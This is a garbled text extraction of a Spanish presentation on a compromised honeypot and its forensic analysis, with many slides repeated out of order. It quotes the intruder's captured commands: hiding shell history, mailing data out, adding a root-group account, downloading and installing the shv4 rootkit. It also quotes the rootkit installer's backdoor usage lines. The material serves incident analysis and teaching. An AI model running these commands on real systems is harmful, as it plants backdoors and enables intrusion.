Conclusioacuten El intruso instaloacute el rootkit ldquoshv4rdquoFuente Autopsy + The Sleuth Kit

page 2717062004

Prueba 16Script de instalacioacuten del rootkit ldquoshv4rdquo

Conclusioacuten Se recuperoacute el rootkit completo y se analizoacute en detalleFuente Autopsy + The Sleuth Kit

1 binbash2 3 shkit-v4-internal release 2002[]12 setup pass port13 14 SSHD backdoor ssh -l root -p port hostname15 when prompted for password enter your rootkit password16 login backdoor DISPLAY=pass export DISPLAY telnet victim17 type anything at login and type arf for pass and b00m r00t[]39 lets unzip our shit now40 tar xfz bintgz41 tar xfz conftgz[]

page 2817062004

Prueba 17Ejemplo de comando ldquotroyanizadoldquo ps

Conclusioacuten Se analizaron todos los comandos sustituidos por el rootkitFuente Autopsy + The Sleuth Kit

Fichero binps

Tipo ELF 32-bit LSB executable i386 dynamically linked stripped

Descripcioacuten Lista los procesos en ejecucioacuten como el comando lsquopsrsquo peroocultando aquellos procesos cuyo nombre incluye cualquiera de las cadenas de caracteres que contiene el fichero usrincludeproch o cuyos argumentosincluyen cualquiera de las direcciones IP que contiene el ficherousrincludehostsh Tambieacuten oculta cualquier proceso hijo de los procesosocultos

Meacutetodo de anaacutelisis Ejecucioacuten en entorno aislado uso de lsquostracersquo paraencontrar llamadas al sistema lsquoopen()rsquo y alteracioacuten de los ficheros de configuracioacuten proch y hostsh

page 2917062004

Prueba 18Actividad del agente de DDOS

Conclusioacuten (18s) El agente de DDOS envioacute noticias a dos controladoresFuente Snort

[] [118552] DDOS Stacheldraht agent-gthandler (skillz) [][Classification Attempted Denial of Service] [Priority 2]0716-102622944900 19216815 -gt 1033111ICMP TTL64 TOS0x0 ID0 IpLen20 DgmLen1044 DFType0 Code0 ID6666 Seq0 ECHO REPLY[Xref =gthttpstaffwashingtonedudittrichmiscstacheldrahtanalysis]

NOTA Idem con una segunda IP destino Mensajes repetidos una vez por minuto hastaque se apagoacute el honeypot

page 3017062004

Prueba 19Apagado del honeypot

Conclusioacuten (13h) El honeypot fue apagado esa noche para analizarloFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 231541 176 a - rootbashrc[cut]Wed Jul 16 2003 231943 19982 a - sbinshutdown[cut]Wed Jul 16 2003 232009 48 mc - etcadjtime

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 6: Demostracion Hacking Honeypot y Análisis Forense

page 617062004

Objetivo

ldquoMostrar con un ejemplo reducidolo importante que es investigar los

incidentes de seguridadrdquo

page 717062004

Descripcioacuten de la prueba realizada

bull Un ldquohoneypotrdquo es un recurso de seguridad cuyo valor consiste en ser atacado o comprometido [1]

bull Se usoacute como honeypot un PC fue instalado con LinuxRedHat 80 y conectado a Internet a traveacutes de un ADSL domeacutestico

bull Una vez comprometido se realizoacute un anaacutelisis forense sobre el sistema para obtener la mayor cantidad de informacioacuten posible

bull Ademaacutes del honeypot se configuroacute un IDS y se tomaron trazas de red En el anaacutelisis se distinguioacute queacute informacioacuten aportoacute cada parte

[1] Spitzner Lance Honeypots tracking hackers Addison Wesley 2003

page 817062004

Diagrama de red

Honeypot Host (IDS+Traza de red)

LAN (hub)

Router InternetADSL

page 917062004

Resumen del incidente (12)

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 1017062004

Resumen del incidente (22)

Honeypot Host (IDS+Traza de red)

LAN (hub)

Router

ADSL

EEUU

ITALIA

RUMANIA

ESPANtildeA (MADRID)

page 1117062004

Anaacutelisis forense

page 1217062004

Prueba 1Fecha de instalacioacuten del Honeypot

Conclusioacuten El honeypot se instaloacute los diacuteas 5 y 6 de julio de 2003Fuente RPM

[rootholmes dir2] rpm -q --qf installtimedatetnamen --root mntsdb1 --all | sort | head -5

Sat 05 Jul 2003 085412 PM CEST Sendmail-cfSat 05 Jul 2003 091858 PM CEST glibc-commonSat 05 Jul 2003 091859 PM CEST basesystemSat 05 Jul 2003 091859 PM CEST file systemSat 05 Jul 2003 091859 PM CEST gnome-mime-data[rootholmes root] rpm -q --qf installtimedatetnamen --root mntsdb1 --all | sort | tail -5

Sat 05 Jul 2003 093319 PM CEST screenSat 05 Jul 2003 093320 PM CEST xdeltaSat 05 Jul 2003 093349 PM CEST compsSun 06 Jul 2003 102454 AM CEST ncSun 06 Jul 2003 102611 AM CEST tripwire[rootholmes dir2]

page 1317062004

Prueba 2Honeypot apagado del 6 al 15 de julio

Conclusioacuten El honeypot estuvo apagado del 6 al 15 de julioFuente Autopsy + The Sleuth Kit timeline

Sun Jul 06 2003 125748 0 mac - varrunshutdownpid (deleted)0 mac - etcmailsendmailmcswp

(deleted)0 mac - lthoneypotsdb1dd-dead-51072gt

Sun Jul 06 2003 1257494096 mc d varrunconsole0 mac - varrunconsolelock (deleted)45 mac - homedavidbash_history24 a - rootbash_logout0 mac - lthoneypotsdb1dd-dead-51069gt

Tue Jul 15 2003 195705 42 a l libmodules2418-14pcmciaaha152x_cso -gt kerneldriversscsipcmciaaha152x_cso

41 a l libmodules2418-14pcmciawavelan_cso -gt kerneldriversnetpcmciawavelan_cso

page 1417062004

Prueba 3Primera alerta del IDS (x18 en 3 seg)

Conclusioacuten Intento de acceso remoto al honeypot (buffer overflow de SAMBA)Fuente Snort

[] [121034] NETBIOS SMB trans2open buffer overflow attempt [][Classification Attempted Administrator Privilege Gain] [Priority 1]0716-101928694888 101112942468 -gt 19216815139TCP TTL46 TOS0x0 ID30439 IpLen20 DgmLen1500 DFA Seq 0x59D7D6CF Ack 0x2EEEBAAF Win 0x16D0 TcpLen 32TCP Options (3) =gt NOP NOP TS 375824640 26197405[Xref =gt httpwwwdigitaldefensenetlabsadvisoriesDDI-1013txt][Xref =gt httpcvemitreorgcgi-bincvenamecginame=CAN-2003-0201]

page 1517062004

Prueba 4Nueva alerta del IDS ldquoid returned rootrdquo

Conclusioacuten (1s) El intruso comproboacute que era ldquorootrdquo en el sistemaFuente Snort

[] [14984] ATTACK-RESPONSES id check returned root [][Classification Potentially Bad Traffic] [Priority 2]0716-101932690898 1921681545295 -gt 101112942504TCP TTL64 TOS0x0 ID15658 IpLen20 DgmLen174 DFAP Seq 0x2ED6F968 Ack 0x596F6E90 Win 0x16A0 TcpLen 32TCP Options (3) =gt NOP NOP TS 26199287 375825045

page 1617062004

Prueba 5Alerta ldquoid returned rootrdquo La regla del IDS

Conclusioacuten La alerta la provocoacute un paquete conteniendo ldquouid=0(root)rdquoFuente Snort

SID 498Message ATTACK-RESPONSES id check returned root

Signature alert ip any any -gt any any (msgATTACK-RESPONSES id check returned root content uid=0(root) classtypebad-unknown sid498 rev4)

SummaryThis event is generated by the use of a UNIX id command This may be indicative of post-compromise behavior where the attacker is checking for super user privileges gained by a sucessful exploit against a vulnerable system

page 1717062004

Prueba 6Alerta ldquoid returned rootrdquo El paquete

Conclusioacuten El intruso ejecutoacute los comandos ldquouname ndashardquo e ldquoidrdquoFuente Snort

[rootholmes dir2] tcpdump -nn -r tcpdumplog1058291995 -X port 42504101932690898 1921681545295 gt 101112942504 P 785840488785840610(122) ack1500475024 win 5792 ltnopnoptimestamp 26199287 375825045gt (DF)0x0000 4500 00ae 3d2a 4000 4006 77ec XXXX XXXX E=w0x0010 XXXX XXXX XXXX XXXX 2ed6 f968 596f 6e90 shYon0x0020 8018 16a0 56a7 0000 0101 080a 018f c4f7 V0x0030 1666 a295 4c69 6e75 7820 6368 6172 6c69 fLinuxcharli0x0040 6520 322e 342e 3138 2d31 3420 2331 2057 e2418-141W0x0050 6564 2053 6570 2034 2031 333a 3335 3a35 edSep4133550x0060 3020 4544 5420 3230 3032 2069 3638 3620 0EDT2002i6860x0070 6936 3836 2069 3338 3620 474e 552f 4c69 i686i386GNULi0x0080 6e75 780a 7569 643d 3028 726f 6f74 2920 nuxuid=0(root)0x0090 6769 643d 3028 726f 6f74 2920 6772 6f75 gid=0(root)grou0x00a0 7073 3d39 3928 6e6f 626f 6479 290a ps=99(nobody)[rootholmes dir2]

page 1817062004

Prueba 7Ejecucioacuten del comando ldquomailrdquo

Conclusioacuten (2s) El intruso envioacute un mensaje de correo electroacutenicoFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 100937 112 a - etcmailrc754801 a - usrsbinsendmailsendmail83905 a - binmail4770 mc - varlogsambasmbdlog

page 1917062004

Prueba 8Alerta del IDS por el enviacuteo del correo

Conclusioacuten El IDS detectoacute la direccioacuten destino de la conexioacuten SMTPFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-101934191136 1921681532774 -gt 10227825TCP TTL64 TOS0x0 ID16590 IpLen20 DgmLen60 DFS Seq 0x2EE98728 Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26200038 0 NOP WS 0

page 2017062004

Prueba 9Destinatario del correo

Conclusioacuten El fichero de log muestra el destinatario del mensajeFuente varlogmaillog

Jul 16 100944 charlie Sendmail[7393] h6G89cPq007391to=ltsome_addressyahoocomgt ctladdr=ltrootcharliedummynetgt (00)delay=000005 xdelay=000005 mailer=esmtp pri=30318relay=mailyahoocom [102278] dsn=200 stat=Sent (ok dirdel)

page 2117062004

Prueba 10Contenido del mensaje

Conclusioacuten Este era el contenido del mensaje (fichero borrado)Fuente Autopsy + The Sleuth Kit

samba

page 2217062004

Prueba 11Creacioacuten de un nuevo usuario ldquogo----rdquo

Conclusioacuten (4m 17s) El intruso creoacute un nuevo usuario llamado ldquogo----rdquoFuente varlogsecure

Jul 16 101359 charlie adduser[7401] new user name=go---- uid=501gid=10 home=etcgo---- shell=binbash

page 2317062004

Prueba 12Ejecucioacuten del comando ldquopasswdrdquo

Conclusioacuten (11s) El intruso establecioacute la contrasentildea del nuevo usuarioFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101410 15368 a - usrbinpasswd211 a - etcpamdpasswd

Wed Jul 16 2003 101417 1024 a - usrlibcracklib_dicthwmWed Jul 16 2003 101418 42116 a - usrlibcracklib_dictpwi

828567 a - usrlibcracklib_dictpwdWed Jul 16 2003 101446 1113 mc - etcshadow

page 2417062004

Prueba 13Ejecucioacuten del comando ldquowgetrdquo

Conclusioacuten (14s) El intruso realizoacute una conexioacuten a un servidor de InternetFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101500 193278 a - usrbinwget4022 a - etcwgetrc7338 a - usrsharesslopensslcnf

page 2517062004

Prueba 14Alerta del IDS por la conexioacuten de ldquowgetrdquo

Conclusioacuten El IDS detectoacute la direccioacuten IP y el puerto (web) del servidorFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-102456065879 1921681532775 -gt 104413880TCP TTL64 TOS0x0 ID37369 IpLen20 DgmLen60 DFS Seq 0x436ED85E Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26364327 0 NOP WS 0

page 2617062004

Prueba 15Instalacioacuten del rootkit ldquoshv4rdquo

bull 1m 22s despueacutes el intruso lanzoacute la instalacioacuten (ldquosetupshrdquo) del rootkit ldquoshv4rdquo

ndash Varios comandos de sistema fueron sustituidos por troyanos que ocultariacutean la presencia del intruso

ndash Un demonio SSH con una puerta trasera fue lanzado con el nombre ldquoxntpsrdquo escuchando en el puerto 20000

ndash Un agente de denegacioacuten de servicio distribuida (DDOS) fueinstalado con el nombre ldquottymonrdquo y fue ejecutado

ndash Un sniffer fue instalado aunque no ejecutado

Conclusioacuten El intruso instaloacute el rootkit ldquoshv4rdquoFuente Autopsy + The Sleuth Kit

page 2717062004

Prueba 16Script de instalacioacuten del rootkit ldquoshv4rdquo

Conclusioacuten Se recuperoacute el rootkit completo y se analizoacute en detalleFuente Autopsy + The Sleuth Kit

1 binbash2 3 shkit-v4-internal release 2002[]12 setup pass port13 14 SSHD backdoor ssh -l root -p port hostname15 when prompted for password enter your rootkit password16 login backdoor DISPLAY=pass export DISPLAY telnet victim17 type anything at login and type arf for pass and b00m r00t[]39 lets unzip our shit now40 tar xfz bintgz41 tar xfz conftgz[]

page 2817062004

Prueba 17Ejemplo de comando ldquotroyanizadoldquo ps

Conclusioacuten Se analizaron todos los comandos sustituidos por el rootkitFuente Autopsy + The Sleuth Kit

Fichero binps

Tipo ELF 32-bit LSB executable i386 dynamically linked stripped

Descripcioacuten Lista los procesos en ejecucioacuten como el comando lsquopsrsquo peroocultando aquellos procesos cuyo nombre incluye cualquiera de las cadenas de caracteres que contiene el fichero usrincludeproch o cuyos argumentosincluyen cualquiera de las direcciones IP que contiene el ficherousrincludehostsh Tambieacuten oculta cualquier proceso hijo de los procesosocultos

Meacutetodo de anaacutelisis Ejecucioacuten en entorno aislado uso de lsquostracersquo paraencontrar llamadas al sistema lsquoopen()rsquo y alteracioacuten de los ficheros de configuracioacuten proch y hostsh

page 2917062004

Prueba 18Actividad del agente de DDOS

Conclusioacuten (18s) El agente de DDOS envioacute noticias a dos controladoresFuente Snort

[] [118552] DDOS Stacheldraht agent-gthandler (skillz) [][Classification Attempted Denial of Service] [Priority 2]0716-102622944900 19216815 -gt 1033111ICMP TTL64 TOS0x0 ID0 IpLen20 DgmLen1044 DFType0 Code0 ID6666 Seq0 ECHO REPLY[Xref =gthttpstaffwashingtonedudittrichmiscstacheldrahtanalysis]

NOTA Idem con una segunda IP destino Mensajes repetidos una vez por minuto hastaque se apagoacute el honeypot

page 3017062004

Prueba 19Apagado del honeypot

Conclusioacuten (13h) El honeypot fue apagado esa noche para analizarloFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 231541 176 a - rootbashrc[cut]Wed Jul 16 2003 231943 19982 a - sbinshutdown[cut]Wed Jul 16 2003 232009 48 mc - etcadjtime

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 7: Demostracion Hacking Honeypot y Análisis Forense

page 717062004

Descripcioacuten de la prueba realizada

bull Un ldquohoneypotrdquo es un recurso de seguridad cuyo valor consiste en ser atacado o comprometido [1]

bull Se usoacute como honeypot un PC fue instalado con LinuxRedHat 80 y conectado a Internet a traveacutes de un ADSL domeacutestico

bull Una vez comprometido se realizoacute un anaacutelisis forense sobre el sistema para obtener la mayor cantidad de informacioacuten posible

bull Ademaacutes del honeypot se configuroacute un IDS y se tomaron trazas de red En el anaacutelisis se distinguioacute queacute informacioacuten aportoacute cada parte

[1] Spitzner Lance Honeypots tracking hackers Addison Wesley 2003

page 817062004

Diagrama de red

Honeypot Host (IDS+Traza de red)

LAN (hub)

Router InternetADSL

page 917062004

Resumen del incidente (12)

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 1017062004

Resumen del incidente (22)

Honeypot Host (IDS+Traza de red)

LAN (hub)

Router

ADSL

EEUU

ITALIA

RUMANIA

